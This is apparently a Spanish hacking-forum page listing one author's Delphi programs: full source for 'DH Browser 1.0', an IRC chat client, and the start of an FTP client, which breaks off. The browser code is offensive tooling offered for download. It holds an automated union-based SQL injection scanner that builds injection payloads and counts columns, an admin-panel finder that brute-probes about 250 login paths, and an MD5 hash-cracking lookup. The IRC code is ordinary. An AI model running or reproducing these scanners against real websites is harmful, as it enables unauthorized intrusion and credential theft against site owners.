elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ... 55
21  Programación / Programación General / [Delphi] DH Browser 1.0 en: 5 Septiembre 2016, 02:33 am
Un navegador web en Delphi con las siguientes opciones :

  • Podes ver el codigo fuente de la pagina cargado
  • Se puede modificar los headers para HTTP Header Injection
  • Se puede buscar palabras en el codigo fuente
  • SQLI Scanner incorporado
  • Admin Finder incorporado
  • Crack MD5 incorporado

Una imagen :



El codigo :

Código
  1. // DH Browser 1.0
  2. // (C) Doddy Hackman 2016
  3. // Credits :
  4. // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
  5. // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
  6. // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm
  7.  
  8. unit dh;
  9.  
  10. interface
  11.  
  12. uses
  13.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  14.   System.Classes, Vcl.Graphics,
  15.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.OleCtrls, SHDocVw,
  16.   Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.ComCtrls, mshtml, Vcl.Menus,
  17.   IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
  18.   IdMultipartFormData, Vcl.ImgList, Vcl.Styles.Utils.ComCtrls,
  19.   Vcl.Styles.Utils.Menus,
  20.   Vcl.Styles.Utils.SysStyleHook,
  21.   Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  22.   Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;
  23.  
  24. type
  25.   TFormHome = class(TForm)
  26.     gbEnterPage: TGroupBox;
  27.     btnEnter: TButton;
  28.     gbHeaders: TGroupBox;
  29.     mmHeaders: TMemo;
  30.     GroupBox3: TGroupBox;
  31.     GroupBox4: TGroupBox;
  32.     gbAbout: TGroupBox;
  33.     txtURL: TEdit;
  34.     imgLogo: TImage;
  35.     imgAbout: TImage;
  36.     btnSQLI_Scanner: TButton;
  37.     btnAdminFinder: TButton;
  38.     btnCrack_MD5: TButton;
  39.     btnSearch_for_text: TButton;
  40.     cbUse_This_Headers: TCheckBox;
  41.     browser: TWebBrowser;
  42.     status: TStatusBar;
  43.     progreso: TProgressBar;
  44.     mmSource: TMemo;
  45.     menu: TPopupMenu;
  46.     ShowSourceHTML1: TMenuItem;
  47.     ShowBrowser1: TMenuItem;
  48.     nave: TIdHTTP;
  49.     buscar_codigo: TFindDialog;
  50.     ilIconos: TImageList;
  51.     lblAbout: TLabel;
  52.     procedure btnEnterClick(Sender: TObject);
  53.     procedure browserDownloadComplete(Sender: TObject);
  54.     procedure browserProgressChange(ASender: TObject;
  55.       Progress, ProgressMax: Integer);
  56.     procedure ShowSourceHTML1Click(Sender: TObject);
  57.     procedure ShowBrowser1Click(Sender: TObject);
  58.     procedure btnSQLI_ScannerClick(Sender: TObject);
  59.     procedure btnAdminFinderClick(Sender: TObject);
  60.     procedure btnCrack_MD5Click(Sender: TObject);
  61.     procedure btnSearch_for_textClick(Sender: TObject);
  62.     procedure buscar_codigoFind(Sender: TObject);
  63.     procedure FormCreate(Sender: TObject);
  64.  
  65.   private
  66.     { Private declarations }
  67.   public
  68.     { Public declarations }
  69.   end;
  70.  
  71. var
  72.   FormHome: TFormHome;
  73.  
  74. implementation
  75.  
  76. {$R *.dfm}
  77.  
  78. procedure TFormHome.btnAdminFinderClick(Sender: TObject);
  79. const
  80.   paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
  81.     'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
  82.     'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
  83.     'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
  84.     'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
  85.     'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
  86.     'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
  87.     'login/index.asp', 'login/index.aspx', 'login/login.asp',
  88.     'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
  89.     'administracion/index.asp', 'administracion/index.aspx',
  90.     'administracion/login.asp', 'administracion/login.aspx',
  91.     'administracion/webmaster.asp', 'administracion/webmaster.aspx',
  92.     'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
  93.     'admin/admin.php', 'admin/index.php', 'admin/login.php', 'admin/system.php',
  94.     'admin/ingresar.php', 'admin/administrador.php', 'admin/default.php',
  95.     'administracion/', 'administracion/index.php', 'administracion/login.php',
  96.     'administracion/ingresar.php', 'administracion/admin.php',
  97.     'administration/', 'administration/index.php', 'administration/login.php',
  98.     'administrator/index.php', 'administrator/login.php',
  99.     'administrator/system.php', 'system/', 'system/login.php', 'admin.php',
  100.     'login.php', 'administrador.php', 'administration.php', 'administrator.php',
  101.     'admin1.html', 'admin1.php', 'admin2.php', 'admin2.html', 'yonetim.php',
  102.     'yonetim.html', 'yonetici.php', 'yonetici.html', 'adm/',
  103.     'admin/account.php', 'admin/account.html', 'admin/index.html',
  104.     'admin/login.html', 'admin/home.php', 'admin/controlpanel.html',
  105.     'admin/controlpanel.php', 'admin.html', 'admin/cp.php', 'admin/cp.html',
  106.     'cp.php', 'cp.html', 'administrator/', 'administrator/index.html',
  107.     'administrator/login.html', 'administrator/account.html',
  108.     'administrator/account.php', 'administrator.html', 'login.html',
  109.     'modelsearch/login.php', 'moderator.php', 'moderator.html',
  110.     'moderator/login.php', 'moderator/login.html', 'moderator/admin.php',
  111.     'moderator/admin.html', 'moderator/', 'account.php', 'account.html',
  112.     'controlpanel/', 'controlpanel.php', 'controlpanel.html',
  113.     'admincontrol.php', 'admincontrol.html', 'adminpanel.php',
  114.     'adminpanel.html', 'admin1.asp', 'admin2.asp', 'yonetim.asp',
  115.     'yonetici.asp', 'admin/account.asp', 'admin/home.asp',
  116.     'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
  117.     'administrator/index.asp', 'administrator/login.asp',
  118.     'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
  119.     'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
  120.     'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
  121.     'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
  122.     'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
  123.     'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
  124.     'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
  125.     'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
  126.     'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
  127.     'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
  128.     'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
  129.     'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
  130.     'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
  131.     'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
  132.     'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
  133.     'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
  134.     'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
  135.     'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
  136.     'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
  137.     'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
  138.     'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
  139.     'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
  140.     'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
  141.     'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/', 'vmailadmin/',
  142.     'Indy_admin/', 'ccp14admin/', 'irc-macadmin/', 'banneradmin/', 'sshadmin/',
  143.     'phpldapadmin/', 'macadmin/', 'administratoraccounts/', 'admin4_account/',
  144.     'admin4_colon/', 'radmind1/', 'SuperAdmin/', 'AdminTools/', 'cmsadmin/',
  145.     'SysAdmin2/', 'globes_admin/', 'cadmins/', 'phpSQLiteAdmin/',
  146.     'navSiteAdmin/', 'server_admin_small/', 'logo_sysadmin/', 'server/',
  147.     'database_administration/', 'power_user/', 'system_administration/',
  148.     'ss_vms_admin_sm/');
  149. var
  150.   i: Integer;
  151.   control: Integer;
  152.  
  153. var
  154.   cabeceras: OLEVariant;
  155.   uno: OLEVariant;
  156.   dos: OLEVariant;
  157.   tres: OLEVariant;
  158.  
  159. begin
  160.  
  161.   if not(txtURL.Text = '') then
  162.   begin
  163.     control := 0;
  164.  
  165.     status.Panels[0].Text := '[+] Finding Panel ....';
  166.     FormHome.status.Update;
  167.  
  168.     for i := Low(paginas) to High(paginas) do
  169.  
  170.       if (control = 1) then
  171.       begin
  172.         Abort;
  173.       end
  174.       else
  175.       begin
  176.  
  177.         try
  178.  
  179.           status.Panels[0].Text := '[+] Testing : ' + paginas[i];
  180.           FormHome.status.Update;
  181.  
  182.           nave.Get(txtURL.Text + '/' + paginas[i]);
  183.           if nave.ResponseCode = 200 then
  184.           begin
  185.  
  186.             txtURL.Text := txtURL.Text + '/' + paginas[i];
  187.  
  188.             uno := navNoReadFromCache or navNoWriteToCache;
  189.             dos := '';
  190.             tres := '';
  191.  
  192.             if (cbUse_This_Headers.Checked) then
  193.             begin
  194.               cabeceras := mmHeaders.Text;
  195.               browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
  196.             end
  197.             else
  198.             begin
  199.               cabeceras := '';
  200.               browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
  201.             end;
  202.             control := 1;
  203.             status.Panels[0].Text := '[+] Panel Found';
  204.             FormHome.status.Update;
  205.             MessageBox(0, 'Panel Found', 'DH Browser 1.0', MB_ICONINFORMATION);
  206.             Abort;
  207.           end;
  208.         except
  209.           on E: EIdHttpProtocolException do;
  210.           on E: Exception do;
  211.         end;
  212.  
  213.       end;
  214.  
  215.     status.Panels[0].Text := '[-] Panel not found';
  216.     FormHome.status.Update;
  217.     MessageBox(0, 'Panel not found', 'DH Browser 1.0', MB_ICONERROR);
  218.   end
  219.   else
  220.   begin
  221.     MessageBox(0, 'Enter URL', 'DH Browser 1.0', MB_ICONINFORMATION);
  222.   end;
  223.  
  224. end;
  225.  
  226. procedure TFormHome.browserDownloadComplete(Sender: TObject);
  227. var
  228.   buscador: IHTMLElement;
  229. begin
  230.  
  231.   progreso.Position := 0;
  232.  
  233.   status.Panels[0].Text := '[+] Page loaded';
  234.   FormHome.status.Update;
  235.  
  236.   // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm
  237.  
  238.   begin
  239.  
  240.     try
  241.       begin
  242.  
  243.         mmSource.Clear;
  244.  
  245.         buscador := (browser.Document AS IHTMLDocument2).body;
  246.  
  247.         while not(buscador.parentElement = nil) do
  248.         begin
  249.           buscador := buscador.parentElement;
  250.         end;
  251.         mmSource.Lines.Add(buscador.outerHTML);
  252.       end;
  253.     except
  254.       // ??
  255.     end;
  256.   end;
  257. end;
  258.  
  259. procedure TFormHome.browserProgressChange(ASender: TObject;
  260.   Progress, ProgressMax: Integer);
  261. begin
  262.   progreso.Max := ProgressMax;
  263.   progreso.Position := Progress;
  264. end;
  265.  
  266. procedure TFormHome.buscar_codigoFind(Sender: TObject);
  267. // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
  268.  
  269. var
  270.   aca: PChar;
  271.   aca2: PChar;
  272.   acatoy: PChar;
  273.   acatoy2: Word;
  274.  
  275. begin
  276.  
  277.   With Sender as TFindDialog do
  278.  
  279.   begin
  280.  
  281.     GetMem(aca2, Length(FindText) + 1);
  282.     StrPCopy(aca2, FindText);
  283.  
  284.     acatoy2 := mmSource.GetTextLen + 1;
  285.     GetMem(aca, acatoy2);
  286.  
  287.     mmSource.GetTextBuf(aca, acatoy2);
  288.  
  289.     acatoy := aca + mmSource.SelStart + mmSource.SelLength;
  290.     acatoy := StrPos(acatoy, aca2);
  291.  
  292.     if not(acatoy = NIL) then
  293.     begin
  294.       mmSource.SelStart := acatoy - aca;
  295.       mmSource.SelLength := Length(FindText);
  296.     end;
  297.  
  298.     mmSource.SetFocus;
  299.  
  300.   end;
  301.  
  302. end;
  303.  
  304. procedure TFormHome.btnCrack_MD5Click(Sender: TObject);
  305. var
  306.   md5: string;
  307.   datos: TIdMultiPartFormDataStream;
  308.   code: string;
  309.   regex_check: TPerlRegEx;
  310.   cracked: string;
  311. begin
  312.  
  313.   md5 := InputBox('DH Browser 1.0', 'MD5 : ', '');
  314.  
  315.   if not(md5 = '') then
  316.   begin
  317.     regex_check := TPerlRegEx.Create();
  318.     datos := TIdMultiPartFormDataStream.Create;
  319.     datos.AddFormField('pass', md5);
  320.     datos.AddFormField('option', 'hash2text');
  321.     datos.AddFormField('send', 'Submit');
  322.  
  323.     status.Panels[0].Text := '[+] Cracking ...';
  324.     FormHome.status.Update;
  325.  
  326.     code := nave.Post('http://md5online.net/index.php', datos);
  327.  
  328.     regex_check.regex :=
  329.       '<center><p>md5 :<b>(.*?)</b> <br>pass : <b>(.*?)</b></p>';
  330.     regex_check.Subject := code;
  331.  
  332.     if regex_check.Match then
  333.     begin
  334.       cracked := regex_check.Groups[2];
  335.       status.Panels[0].Text := '[+] MD5 Cracked : ' + cracked;
  336.       FormHome.status.Update;
  337.       MessageBox(0, PChar('MD5 Cracked : ' + cracked), 'DH Browser 1.0',
  338.         MB_ICONINFORMATION);
  339.  
  340.     end
  341.     else
  342.     begin
  343.       status.Panels[0].Text := '[-] Not found';
  344.       FormHome.status.Update;
  345.       MessageBox(0, 'Not found', 'DH Browser 1.0', MB_ICONERROR);
  346.     end;
  347.   end;
  348.  
  349. end;
  350.  
  351. procedure TFormHome.btnEnterClick(Sender: TObject);
  352. // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
  353.  
  354. var
  355.  
  356.   cabeceras: OLEVariant;
  357.   uno: OLEVariant;
  358.   dos: OLEVariant;
  359.   tres: OLEVariant;
  360.  
  361. begin
  362.  
  363.   uno := navNoReadFromCache or navNoWriteToCache;
  364.   dos := '';
  365.   tres := '';
  366.  
  367.   if (cbUse_This_Headers.Checked) then
  368.   begin
  369.     cabeceras := mmHeaders.Text;
  370.     browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
  371.   end
  372.   else
  373.   begin
  374.     cabeceras := '';
  375.     browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
  376.   end;
  377.  
  378. end;
  379.  
  380. procedure TFormHome.FormCreate(Sender: TObject);
  381. begin
  382.   UseLatestCommonDialogs := False;
  383. end;
  384.  
  385. procedure TFormHome.btnSearch_for_textClick(Sender: TObject);
  386. begin
  387.   buscar_codigo.Execute;
  388. end;
  389.  
  390. procedure TFormHome.ShowBrowser1Click(Sender: TObject);
  391. begin
  392.   browser.Visible := True;
  393.   mmSource.Visible := False;
  394. end;
  395.  
  396. procedure TFormHome.ShowSourceHTML1Click(Sender: TObject);
  397. begin
  398.   browser.Visible := False;
  399.   mmSource.Visible := True;
  400. end;
  401.  
  402. procedure TFormHome.btnSQLI_ScannerClick(Sender: TObject);
  403. var
  404.   pass1: string;
  405.   pass2: string;
  406.   code: string;
  407.   urltest: string;
  408.   urlgen: string;
  409.   full: string;
  410.   codedos: string;
  411.   i: Integer;
  412.   regex_check: TPerlRegEx;
  413.  
  414. var
  415.  
  416.   cabeceras: OLEVariant;
  417.   uno: OLEVariant;
  418.   dos: OLEVariant;
  419.   tres: OLEVariant;
  420.  
  421. begin
  422.  
  423.   if not(txtURL.Text = '') then
  424.   begin
  425.     regex_check := TPerlRegEx.Create();
  426.  
  427.     status.Panels[0].Text := '[+] SQLI Scanning ...';
  428.     FormHome.status.Update;
  429.  
  430.     pass1 := '+';
  431.     pass2 := '--';
  432.  
  433.     urltest := 'concat(0x4b30425241,1,0x4b30425241)';
  434.  
  435.     status.Panels[0].Text := '[+] Checking ...';
  436.     FormHome.status.Update;
  437.  
  438.     code := nave.Get(txtURL.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);
  439.  
  440.     codedos := nave.Get(txtURL.Text + '1' + pass1 + 'and' + pass1 +
  441.       '1=0' + pass2);
  442.  
  443.     if not(code = codedos) then
  444.     begin
  445.  
  446.       status.Panels[0].Text := '[+] Finding columns number';
  447.       FormHome.status.Update;
  448.  
  449.       urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
  450.         'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
  451.       urlgen := '1';
  452.       for i := 2 to 36 do
  453.       begin
  454.  
  455.         status.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
  456.         FormHome.status.Update;
  457.         urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i) +
  458.           ',0x4b30425241)';
  459.         urlgen := urlgen + ',' + IntToStr(i);
  460.         code := nave.Get(txtURL.Text + urltest + pass2);
  461.  
  462.         regex_check.regex := 'K0BRA(.*?)K0BRA';
  463.         regex_check.Subject := code;
  464.  
  465.         if regex_check.Match then
  466.         begin
  467.  
  468.           urlgen := StringReplace(urlgen, regex_check.Groups[1], 'hackman', []);
  469.           full := txtURL.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
  470.             'union' + pass1 + 'select' + pass1 + urlgen;
  471.  
  472.           txtURL.Text := full;
  473.  
  474.           uno := navNoReadFromCache or navNoWriteToCache;
  475.           dos := '';
  476.           tres := '';
  477.  
  478.           if (cbUse_This_Headers.Checked) then
  479.           begin
  480.             cabeceras := mmHeaders.Text;
  481.             browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
  482.           end
  483.           else
  484.           begin
  485.             cabeceras := '';
  486.             browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
  487.           end;
  488.           status.Panels[0].Text := '[+] SQI Scanner Finished';
  489.           FormHome.status.Update;
  490.           MessageBox(0, 'SQI Scanner Finished', 'DH Browser 1.0',
  491.             MB_ICONINFORMATION);
  492.  
  493.           Abort;
  494.  
  495.         end;
  496.  
  497.       end;
  498.       status.Panels[0].Text := '[-] Columns length not found';
  499.       FormHome.status.Update;
  500.       MessageBox(0, 'Columns length not found', 'DH Browser 1.0', MB_ICONERROR);
  501.     end
  502.     else
  503.     begin
  504.       status.Panels[0].Text := '[-] Not vulnerable';
  505.       FormHome.status.Update;
  506.       MessageBox(0, 'Not vulnerable', 'DH Browser 1.0', MB_ICONERROR);
  507.     end;
  508.  
  509.     status.Panels[0].Text := '[+] Done';
  510.     FormHome.status.Update;
  511.   end
  512.   else
  513.   begin
  514.     MessageBox(0, 'Enter URL', 'DH Browser 1.0', MB_ICONINFORMATION);
  515.   end;
  516.  
  517. end;
  518.  
  519. end.
  520.  
  521. // The End ?
  522.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
22  Programación / Programación General / [Delphi] IRC Manager 0.3 en: 20 Agosto 2016, 00:29 am
Un simple cliente para chatear en el IRC.

Una imagen :



El codigo :

Código
  1. // IRC Manager 0.3
  2. // (C) Doddy Hackman 2016
  3.  
  4. unit irc;
  5.  
  6. interface
  7.  
  8. uses
  9.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  10.   System.Classes, Vcl.Graphics,
  11.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls, Vcl.Menus,
  12.   Vcl.Imaging.pngimage, Vcl.ExtCtrls, IdContext, IdBaseComponent, IdComponent,
  13.   IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegex, MMSystem,
  14.   Vcl.ImgList, Vcl.Styles.Utils.ComCtrls, Vcl.Styles.Utils.Menus,
  15.   Vcl.Styles.Utils.SysStyleHook,
  16.   Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  17.   Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;
  18.  
  19. type
  20.   TFormHome = class(TForm)
  21.     status: TStatusBar;
  22.     gbIRC_Config: TGroupBox;
  23.     lblHost: TLabel;
  24.     txtHost: TEdit;
  25.     lblPort: TLabel;
  26.     txtPort: TEdit;
  27.     lblChannel: TLabel;
  28.     txtChannel: TEdit;
  29.     lblNick: TLabel;
  30.     gbChat: TGroupBox;
  31.     gbNicks: TGroupBox;
  32.     lbNicks: TListBox;
  33.     txtNickname: TEdit;
  34.     btnConnect: TButton;
  35.     gbEnterText: TGroupBox;
  36.     txtText: TEdit;
  37.     btnSend: TButton;
  38.     logo: TImage;
  39.     mmChat: TRichEdit;
  40.     irc: TIdIRC;
  41.     ilIconos: TImageList;
  42.     procedure btnConnectClick(Sender: TObject);
  43.     procedure ircRaw(ASender: TIdContext; AIn: Boolean; const AMessage: string);
  44.     procedure btnSendClick(Sender: TObject);
  45.     procedure ircPrivateMessage(ASender: TIdContext;
  46.       const ANickname, AHost, ATarget, AMessage: string);
  47.     procedure ircNotice(ASender: TIdContext; const ANickname, AHost, ATarget,
  48.       ANotice: string);
  49.     procedure ircJoin(ASender: TIdContext;
  50.       const ANickname, AHost, AChannel: string);
  51.     procedure ircPart(ASender: TIdContext; const ANickname, AHost, AChannel,
  52.       APartMessage: string);
  53.     procedure ircQuit(ASender: TIdContext;
  54.       const ANickname, AHost, AReason: string);
  55.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  56.     procedure FormCreate(Sender: TObject);
  57.   private
  58.     { Private declarations }
  59.   public
  60.     { Public declarations }
  61.     logs_messages: Boolean;
  62.   end;
  63.  
  64. var
  65.   FormHome: TFormHome;
  66.  
  67. implementation
  68.  
  69. {$R *.dfm}
  70.  
  71. procedure TFormHome.btnConnectClick(Sender: TObject);
  72. begin
  73.   if (btnConnect.Caption = 'Connect') then
  74.   begin
  75.  
  76.     irc.nickname := txtNickname.text;
  77.     irc.AltNickname := txtNickname.text + '123';
  78.     irc.Username := txtNickname.text;
  79.     irc.RealName := txtNickname.text;
  80.     irc.Password := '';
  81.     irc.host := txtHost.text;
  82.     irc.port := StrToInt(txtPort.text);
  83.  
  84.     mmChat.Lines.Clear;
  85.     lbNicks.Items.Clear;
  86.     logs_messages := False;
  87.  
  88.     try
  89.       begin
  90.         mmChat.Lines.Add('Connecting ...');
  91.         irc.connect;
  92.         irc.Join(txtChannel.text);
  93.         btnConnect.Caption := 'Disconnect';
  94.         status.Panels[0].text := '[+] Connected';
  95.         FormHome.status.Update;
  96.         mmChat.Lines.Add('Connected !');
  97.       end;
  98.     except
  99.       begin
  100.         status.Panels[0].text := '[-] Error connecting to server';
  101.         FormHome.status.Update;
  102.         mmChat.Lines.Add('Error connecting to server !');
  103.         MessageBox(0, 'Error connecting to server', 'IRC Manager 1.0',
  104.           MB_ICONERROR);
  105.       end;
  106.     end;
  107.   end
  108.   else
  109.   begin
  110.     if (btnConnect.Caption = 'Disconnect') then
  111.     begin
  112.       irc.Part('');
  113.       irc.Disconnect('');
  114.       btnConnect.Caption := 'Connect';
  115.       status.Panels[0].text := '[+] Disconnected';
  116.       FormHome.status.Update;
  117.       mmChat.Lines.Add('Disconnected !');
  118.     end;
  119.   end;
  120.  
  121. end;
  122.  
  123. procedure TFormHome.btnSendClick(Sender: TObject);
  124. begin
  125.   if not(txtText.text = '') then
  126.   begin
  127.     irc.Say(txtChannel.text, txtText.text);
  128.     mmChat.Lines.Add('<' + txtNickname.text + '> ' + txtText.text);
  129.     txtText.text := '';
  130.   end;
  131. end;
  132.  
  133. procedure TFormHome.FormClose(Sender: TObject; var Action: TCloseAction);
  134. begin
  135.   if mrYes = MessageDlg('Close program ?', mtwarning, [mbYes, mbNo], 0) then
  136.   begin
  137.     Exit;
  138.   end
  139.   else
  140.   begin
  141.     Action := caNone;
  142.   end;
  143. end;
  144.  
  145. procedure TFormHome.FormCreate(Sender: TObject);
  146. begin
  147.   UseLatestCommonDialogs := False;
  148. end;
  149.  
  150. procedure TFormHome.ircJoin(ASender: TIdContext;
  151.   const ANickname, AHost, AChannel: string);
  152. begin
  153.   lbNicks.Items.Add(ANickname);
  154.   mmChat.Lines.Add(ANickname + ' has joined');
  155. end;
  156.  
  157. procedure TFormHome.ircNotice(ASender: TIdContext;
  158.   const ANickname, AHost, ATarget, ANotice: string);
  159. begin
  160.   // chat.Lines.Add('<' + ANickname + '> ' + ANotice);
  161. end;
  162.  
  163. procedure TFormHome.ircPart(ASender: TIdContext;
  164.   const ANickname, AHost, AChannel, APartMessage: string);
  165. begin
  166.   lbNicks.Items.Delete(lbNicks.Items.IndexOf(ANickname));
  167.   mmChat.Lines.Add(ANickname + ' part');
  168. end;
  169.  
  170. procedure TFormHome.ircPrivateMessage(ASender: TIdContext;
  171.   const ANickname, AHost, ATarget, AMessage: string);
  172. var
  173.   check_regex: TPerlRegex;
  174. begin
  175.  
  176.   check_regex := TPerlRegex.Create();
  177.  
  178.   check_regex.regex := txtNickname.text;
  179.   check_regex.Subject := AMessage;
  180.   check_regex.Options := [preCaseLess];
  181.  
  182.   if check_regex.Match then
  183.   begin
  184.     mmChat.SelAttributes.Color := clRed;
  185.     mmChat.SelAttributes.Style := [fsBold];
  186.     mmChat.Lines.Add('* <' + ANickname + '> ' + AMessage);
  187.     sndPlaySound(Pchar(GetCurrentDir + '/Data/click.wav'), SND_NODEFAULT);
  188.   end
  189.   else
  190.   begin
  191.     mmChat.Lines.Add('<' + ANickname + '> ' + AMessage);
  192.   end;
  193.  
  194.   check_regex.Free;
  195.  
  196. end;
  197.  
  198. procedure TFormHome.ircQuit(ASender: TIdContext;
  199.   const ANickname, AHost, AReason: string);
  200. begin
  201.   lbNicks.Items.Delete(lbNicks.Items.IndexOf(ANickname));
  202.   mmChat.Lines.Add(ANickname + ' quit');
  203. end;
  204.  
  205. procedure TFormHome.ircRaw(ASender: TIdContext; AIn: Boolean;
  206.   const AMessage: string);
  207. var
  208.   i: integer;
  209.   code: string;
  210.   renicks: string;
  211.   listanow: TStringList;
  212.   regex: TPerlRegex;
  213.   otroregex: TPerlRegex;
  214.   nick: string;
  215.   texto: string;
  216. begin
  217.  
  218.   code := AMessage;
  219.  
  220.   if (logs_messages = True) then
  221.   begin
  222.     mmChat.Lines.Add(code);
  223.   end;
  224.  
  225.   regex := TPerlRegex.Create();
  226.   otroregex := TPerlRegex.Create();
  227.  
  228.   regex.regex := '353 (.*) = #(.*) :(.*)';
  229.   regex.Subject := code;
  230.  
  231.   if regex.Match then
  232.   begin
  233.  
  234.     lbNicks.Clear;
  235.  
  236.     renicks := regex.Groups[3];
  237.  
  238.     renicks := StringReplace(renicks, txtNickname.text, '', []);
  239.  
  240.     listanow := TStringList.Create;
  241.     listanow.Delimiter := ' ';
  242.     listanow.DelimitedText := renicks;
  243.  
  244.     for i := 0 to listanow.Count - 1 do
  245.     begin
  246.       if not(listanow[i] = '@') then
  247.       begin
  248.         lbNicks.Items.Add(listanow[i]);
  249.       end;
  250.     end;
  251.  
  252.     lbNicks.Items.Add(txtNickname.text);
  253.  
  254.     logs_messages := False;
  255.  
  256.   end;
  257.  
  258.   otroregex.regex := 'PRIVMSG (.*) :ACTION (.*)';
  259.   otroregex.Subject := code;
  260.  
  261.   if otroregex.Match then
  262.   begin
  263.     nick := otroregex.Groups[1];
  264.     texto := otroregex.Groups[2];
  265.     mmChat.Lines.Add('* ' + texto);
  266.   end;
  267.  
  268.   regex.Free;
  269.   otroregex.Free;
  270.  
  271. end;
  272.  
  273. end.
  274.  
  275. // The End ?
  276.  

Si quieren bajar el programa lo pueden hacer de aca.
23  Programación / Programación General / [Delphi] FTP Manager 1.0 en: 6 Agosto 2016, 04:01 am
Un cliente FTP en Delphi con las siguientes opciones :

  • Se puede conectar a cualquier servidor FTP
  • Navegar y listar los directorios de nuestra computadora
  • Navegar y listar los directorios del servidor FTP
  • Se puede crear,renombrar,eliminar archivos y directorios de nuestra computadora
  • Se puede crear,renombrar,eliminar archivos y directorios del servidor FTP
  • Se puede bajar y subir archivos del servidor FTP comodamente

Una imagen :



El codigo :

Código
  1. // FTP Manager 1.0
  2. // (C) Doddy Hackman 2016
  3.  
  4. unit ftp;
  5.  
  6. interface
  7.  
  8. uses
  9.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  10.   System.Classes, Vcl.Graphics,
  11.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
  12.   IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  13.   IdExplicitTLSClientServerBase, IdFTP, Shellapi, Vcl.ImgList, IdFTPList,
  14.   Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.Menus, Vcl.Styles.Utils.ComCtrls,
  15.   Vcl.Styles.Utils.Menus,
  16.   Vcl.Styles.Utils.SysStyleHook,
  17.   Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
